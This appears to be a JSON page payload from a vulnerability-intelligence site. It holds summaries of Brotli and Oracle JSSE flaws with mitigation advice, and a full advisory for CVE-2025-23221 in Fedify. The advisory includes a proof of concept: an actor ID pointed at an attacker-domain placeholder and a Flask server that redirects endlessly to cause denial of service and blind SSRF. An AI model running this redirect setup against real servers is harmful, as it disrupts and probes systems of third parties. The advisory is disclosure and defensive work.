[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2025-23221":30,"landing-articles":84},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":47,"cwes":48,"cpes":51,"technologies":53,"references":55,"score":62,"epss_score":63,"epss_percentile":64,"is_kev":65,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":66,"attack_mappings":76,"exploits":83},99927,"CVE-2025-23221","EUVD-2025-0153","Infinite loop and Blind SSRF found inside the Webfinger mechanism in @fedify\u002Ffedify\n\n### Summary\nThis vulnerability allows a user to maneuver the Webfinger mechanism to perform a GET request to any internal resource on any Host, Port, URL combination regardless of present security mechanisms, and forcing the victim’s server into an infinite loop causing Denial of Service.\nMoreover, this issue can also be maneuvered into performing a Blind SSRF attack.\n\n### Details\nThe Webfinger endpoint takes a remote domain for checking accounts as a feature, however, as per the ActivityPub spec (https:\u002F\u002Fwww.w3.org\u002FTR\u002Factivitypub\u002F#security-considerations), on the security considerations section at B.3, access to Localhost services should be prevented while running in production.\n\nThe **lookupWebFinger** function, responsible for returning an actor handler for received actor objects from a remote server, can be abused to perform a Denial of Service (DoS) and Blind SSRF attacks while attempting to resolve a malicious actor’s object.\nOn Fedify, two client-facing functions implement the **lookupWebFinger** function- **getActorHandle**, and **lookupObject**, which are both used as a wrapper for the vulnerable lookup function.\nAs the **lookupObject** function is implemented only for CLI usage, we won’t focus our PoC and explanation on it, but it is still vulnerable in the same way **getActorHandle** is.\n\nThe **getActorHandle** function is a wrapper function for the **getActorHandleInternal** function (both present at _\u002Fsrc\u002Fvocab\u002Factor.ts_):\n```javascript\nasync function getActorHandleInternal(\n  actor: Actor | URL,\n  options: GetActorHandleOptions = {},\n): Promise\u003C`@${string}@${string}` | `${string}@${string}`> {\n  const actorId = actor instanceof URL ? actor : actor.id;\n  if (actorId != null) {\n    const result = await lookupWebFinger(actorId, {\n      userAgent: options.userAgent,\n      tracerProvider: options.tracerProvider,\n    });\n    if (result != null) {\n      const aliases = [...(result.aliases ?? [])];\n      if (result.subject != null) aliases.unshift(result.subject);\n      for (const alias of aliases) {\n        const match = alias.match(\u002F^acct:([^@]+)@([^@]+)$\u002F);\n        if (match != null) {\n          const hostname = new URL(`https:\u002F\u002F${match[2]}\u002F`).hostname;\n          if (\n            hostname !== actorId.hostname &&\n            !await verifyCrossOriginActorHandle(\n              actorId.href,\n              alias,\n              options.userAgent,\n              options.tracerProvider,\n            )\n          ) {\n            continue;\n          }\n          return normalizeActorHandle(`@${match[1]}@${match[2]}`, options);\n        }\n      }\n    }\n  }\n  if (\n    !(actor instanceof URL) && actor.preferredUsername != null &&\n    actor.id != null\n  ) {\n    return normalizeActorHandle(\n      `@${actor.preferredUsername}@${actor.id.host}`,\n      options,\n    );\n  }\n  throw new TypeError(\n    \"Actor does not have enough information to get the handle.\",\n  );\n}\n```\n\nThe **actorId** parameter containing a URL of the actor ID sinks into the **lookupWebFinger** function which is a wrapper for the **lookupWebFingerInternal**:\n```javascript\nasync function lookupWebFingerInternal(\n  resource: URL | string,\n  options: LookupWebFingerOptions = {},\n): Promise\u003CResourceDescriptor | null> {\n  if (typeof resource === \"string\") resource = new URL(resource);\n  let protocol = \"https:\";\n  let server: string;\n  if (resource.protocol === \"acct:\") {\n    const atPos = resource.pathname.lastIndexOf(\"@\");\n    if (atPos \u003C 0) return null;\n    server = resource.pathname.substring(atPos + 1);\n    if (server === \"\") return null;\n  } else {\n    protocol = resource.protocol;\n    server = resource.host;\n  }\n  let url = new URL(`${protocol}\u002F\u002F${server}\u002F.well-known\u002Fwebfinger`);\n  url.searchParams.set(\"resource\", resource.href);\n  while (true) {\n    logger.debug(\n      \"Fetching WebFinger resource descriptor from {url}...\",\n      { url: url.href },\n    );\n    let response: Response;\n    try {\n      response = await fetch(url, {\n        headers: {\n          Accept: \"application\u002Fjrd+json\",\n          \"User-Agent\": typeof options.userAgent === \"string\"\n            ? options.userAgent\n            : getUserAgent(options.userAgent),\n        },\n        redirect: \"manual\",\n      });\n    } catch (error) {\n      logger.debug(\n        \"Failed to fetch WebFinger resource descriptor: {error}\",\n        { url: url.href, error },\n      );\n      return null;\n    }\n    if (\n      response.status >= 300 && response.status \u003C 400 &&\n      response.headers.has(\"Location\")\n    ) {\n      url = new URL(\n        response.headers.get(\"Location\")!,\n        response.url == null || response.url === \"\" ? url : response.url,\n      );\n      continue;\n    }\n    if (!response.ok) {\n      logger.debug(\n        \"Failed to fetch WebFinger resource descriptor: {status} {statusText}.\",\n        {\n          url: url.href,\n          status: response.status,\n          statusText: response.statusText,\n        },\n      );\n      return null;\n    }\n    try {\n      return await response.json() as ResourceDescriptor;\n    } catch (e) {\n      if (e instanceof SyntaxError) {\n        logger.debug(\n          \"Failed to parse WebFinger resource descriptor as JSON: {error}\",\n          { error: e },\n        );\n        return null;\n      }\n      throw e;\n    }\n  }\n}\n```\n\nThe function takes the **actorId** parameter containing the actor ID URL, extracts the scheme and uses the rest of the URL (host+port+path) directly inside a hard-coded Webfinger URL address which in turn sinks into a fetch request.\n\nOn the fetch request, the **redirect** attribute is set to “**manual**” preventing automated redirects. However, redirects are still handled using custom code that loops over responses and re-fetching the URL found inside the “Location” header until receiving a valid response or an error occurs (loop keeps until 300>status code>400).\n\nThis custom redirect implementation contains multiple issues:\n1.The redirect loop is endless ( while(true) loop ) without any iteration limiting, allowing attackers to perform DoS via endless redirecting.\n2. A Blind SSRF attack to any URL, with arbitrary Host, Port and Path is possible via the current custom redirect implementation.\n3. As the redirect handler is a custom one, it breaches the security mechanisms presented by the native redirect handler of fetch - allowing the attacker to redirect to different schemes such as data or file schemes.\n\nIn order to successfully perform any of the attacks described above, an attacker needs to create a federated app which presents a malicious actor object, containing an actor ID URL of a second server which performs a recursive redirect to itself, or a URL containing an internal resource.\n\n\n### PoC\n1. In order to show a use case of the vulnerability, we can use the demo app presented at this URL: https:\u002F\u002Fgithub.com\u002Fdahlia\u002Fmicroblog.\n2. We will create two machines, victim and attacker, each one on a different server with different domains.\n\n**_Victim Machine_**\n1. Create a new instance (we tested on ubuntu’s latest version), and update the package manager.\n2. Install a Deno server:\n`\ncurl -fsSL https:\u002F\u002Fdeno.land\u002Finstall.sh | sh\n`\n`\nsource ~\u002F.bashrc\n`\n`\ndeno --version #check deno is working\n`\n3. Pull the git repository of the victim blog app:\n`\ngit clone https:\u002F\u002Fgithub.com\u002Fdahlia\u002Ffedify.git\n`\n4. Modify the federation object to remove signature checks for the sake of easy testing:\nOn file **_\u002Fexamples\u002Fblog\u002Ffederation\u002Fmod.ts_** edit the **_createFederation\u003Cvoid>_** object the following attribute: **_skipSignatureVerification: true_**.\n5. Change into the blog app directory ( \u002Fexamples\u002Fblog ) and run the app:\n`\ndeno task preview\n`\n6. Surf to the application on the browser, and register a user on the app.\n\n**_Attacker Machine_**\n1. Create a new instance (we tested on ubuntu’s latest version), and update the package manager.\n2. Install NVM in order to install the latest version of NPM and NODEJS (and source current shell to check it worked):\n`\ncurl -o- https:\u002F\u002Fraw.githubusercontent.com\u002Fnvm-sh\u002Fnvm\u002Fv0.40.1\u002Finstall.sh | bash\n`\n`\nsource ~\u002F.bashrc\n`\n`\nnvm list-remote\n`\n3. Install the latest stable version:\n`\nnvm install {latest_ver} #for example: v20.10.0\n`\n`\nsource ~\u002F.bashrc\n`\n`\nnpm -v #check it works\n`\n`\nnode -v #check it works\n`\n4. Download the attacker app repository:\n`\ngit clone https:\u002F\u002Fgithub.com\u002Fdahlia\u002Fmicroblog.git\n`\n5. Disable request signature validations:\nEdit the **_\u002Fsrc\u002Ffederation.ts_** file and add a **_skipSignatureVerification: true_** attribute to the **_createFederation_** object.\n6. Modify the **_\u002Fsrc\u002Ffederation.ts_** file and tamper with the Person object on the actor dispatcher ( **_setActorDispatcher(\"\u002Fusers\u002F{identifier}\"_** ) - change the actor ID attribute **_“id: ctx.getActorUri(identifier)_**” into “**_id: new URL(‘http:\u002F\u002F\u003CATTACKER_MACHINE_DOMAIN>:1337\u002Fusers\u002Fenterloop’)_**”.\n7. Install python flask and create the Python Flask redirect server:\n`\napt update\n`\n`\napt install python3-flask\n`\n```python\nfrom flask import Flask, redirect\n\napp = Flask(__name__)\n\n@app.route('\u002Fhealth')\ndef health():\n    return \"hello\", 200\n\n@app.route('\u002F.well-known\u002Fwebfinger')\ndef ssrfinger():\n    return redirect(\"http:\u002F\u002F\u003CATTACKER_MACHINE_DOMAIN>:1337\u002Fendlessloop\")\n\n@app.route('\u002Fendlessloop')\ndef endlessloop():\n    return redirect(\"http:\u002F\u002F\u003CATTACKER_MACHINE_DOMAIN>:1337\u002Fendlessloop\")\n\nif __name__ == '__main__':\n    app.run(debug=True,host='0.0.0.0' ,port=1337)\n```\n8.  Run the python server and attempt to reach the “**_\u002Fhealth_**” path to see the server functions as expected.\n9. Read the **_README.txt_** file on the attacker app and follow the instructions on how to execute the app.\n10. Surf the app on the browser and attempt to follow the federated user on the victim’s machine.\n11. Send the “follow” request and watch the victim app continue to query the redirect server infinitely (It is possible to repeat this step multiple times causing multiple loops).\n\n\n### Impact\n1. Implement a limiting stop condition for the endless loop to prevent infinite loops.\n2. Validate the scheme while performing a manual redirection handler.\n3. For each web resource (for the **_lookupWebFinger_** function and also URLs found on the “**_Location_**” header inside the loop) use the “**_validatePublicUrl_**” function to verify that it is not targeting a local resource.\n","2025-01-21T19:58:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":44,"attackComplexity":45,"availabilityImpact":46,"privilegesRequired":44,"confidentialityImpact":46},"CHANGED","3.1",5.4,"NETWORK","MEDIUM","CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:N\u002FA:L","NONE","HIGH","LOW",true,[49,50],"CWE-835","CWE-918",[52],"cpe:2.3:a:fedify:fedify:*:*:*:*:*:*:*:*",[54],"Fedify Fedify",[56,57,58,59,60,61],"https:\u002F\u002Fgithub.com\u002Fdahlia\u002Ffedify\u002Fcommit\u002F8be3c2038eebf4ae12481683a1e809b314be3151","https:\u002F\u002Fgithub.com\u002Fdahlia\u002Ffedify\u002Fcommit\u002Fc505eb82fcd6b5b17174c6659c29721bc801ab9a","https:\u002F\u002Fgithub.com\u002Fdahlia\u002Ffedify\u002Fcommit\u002Fe921134dd5097586e4563ea80b9e8d1b5460a645","https:\u002F\u002Fgithub.com\u002Fdahlia\u002Ffedify\u002Fsecurity\u002Fadvisories\u002FGHSA-c59p-wq67-24wx","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2025-23221","https:\u002F\u002Fgithub.com\u002Fdahlia\u002Ffedify",0.47,0.00593,0.48047,false,{"timestamp":67,"automatable":68,"tech_impact":69,"exploitation":70,"cisa_decision":71,"cisa_remediation_timeline":75},"2025-01-21T14:49:38.059073Z","no","partial","poc",{"vector":72,"decision":73,"priority":74},"CISAv1\u002FE:P\u002FA:N\u002FT:P\u002FM:H\u002F2026-10-25T22:45:24.633780\u002F","track_star","medium","60D",[77],{"name":78,"source":79,"tactics":80,"technique_id":82},"Exploit Public-Facing Application","attack_vector",[81],"initial-access","T1190",[],{"count":85,"next":86,"previous":6,"results":87},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[88,96,104],{"id":89,"title":90,"summary":91,"published_at":92,"type":93,"link":94,"image_url":95},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":97,"title":98,"summary":99,"published_at":100,"type":101,"link":102,"image_url":103},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":105,"title":106,"summary":107,"published_at":108,"type":109,"link":110,"image_url":111},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]